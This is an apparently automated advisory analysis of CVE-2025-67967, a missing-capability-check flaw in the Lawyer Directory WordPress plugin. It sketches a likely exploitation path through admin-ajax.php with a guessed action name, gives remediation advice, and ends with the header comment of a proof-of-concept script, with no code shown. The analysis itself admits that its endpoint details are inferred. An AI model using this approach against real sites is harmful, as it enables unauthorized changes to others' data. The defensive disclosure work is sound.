Atomic Edge analysis of CVE-2025-67967 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Lawyer Directory WordPress plugin, affecting all versions up to and including 1.3.3. The vulnerability allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions. The CVSS score of 4.3 (Medium) reflects a network-accessible attack requiring low-privilege authentication, leading to integrity impact without confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a function. Without source code, we infer the vulnerable function is likely registered via add_action() or add_filter() for AJAX, admin-post, or REST API endpoints. The plugin omits current_user_can() or similar checks, allowing unauthorized execution. This conclusion is inferred from the CWE and the description of “missing capability check.”
Exploitation requires an authenticated attacker with at least Subscriber role. The attacker sends a crafted HTTP request to a WordPress endpoint handling plugin functions. Based on WordPress plugin patterns, the likely endpoint is /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook like lawyer_directory_action. Alternatively, the endpoint could be /wp-admin/admin-post.php or a custom REST API route. The attacker’s payload contains parameters for the unauthorized action, such as modifying directory listings or settings.
Remediation requires adding a proper capability check before executing the vulnerable function. The patched version 1.3.4 likely inserts a conditional statement verifying the user has the required permissions, such as manage_options or a custom plugin capability. The fix should also include nonce verification for state-changing operations to prevent CSRF. These measures align with WordPress security hardening practices for authorization flaws.
The impact is unauthorized action execution by low-privileged users. While the description does not specify the exact action, CWE-862 in WordPress plugins often leads to data modification, settings changes, or privilege escalation. For a directory plugin, potential impacts include altering lawyer listings, modifying contact information, or changing plugin configurations. The integrity impact (I:L) in the CVSS vector confirms unauthorized data modification is possible.

/**
* Proof of Concept for CVE-2025-67967.
* This script demonstrates unauthorized action execution via a missing capability check.
* Assumptions:
* 1. The vulnerable endpoint is the WordPress AJAX handler.
* 2. The plugin uses an AJAX action prefixed with 'lawyer_directory_'.
* 3. The exact action name is unknown, so we test common patterns.
* 4. The attack requires a valid low-privilege WordPress session cookie.
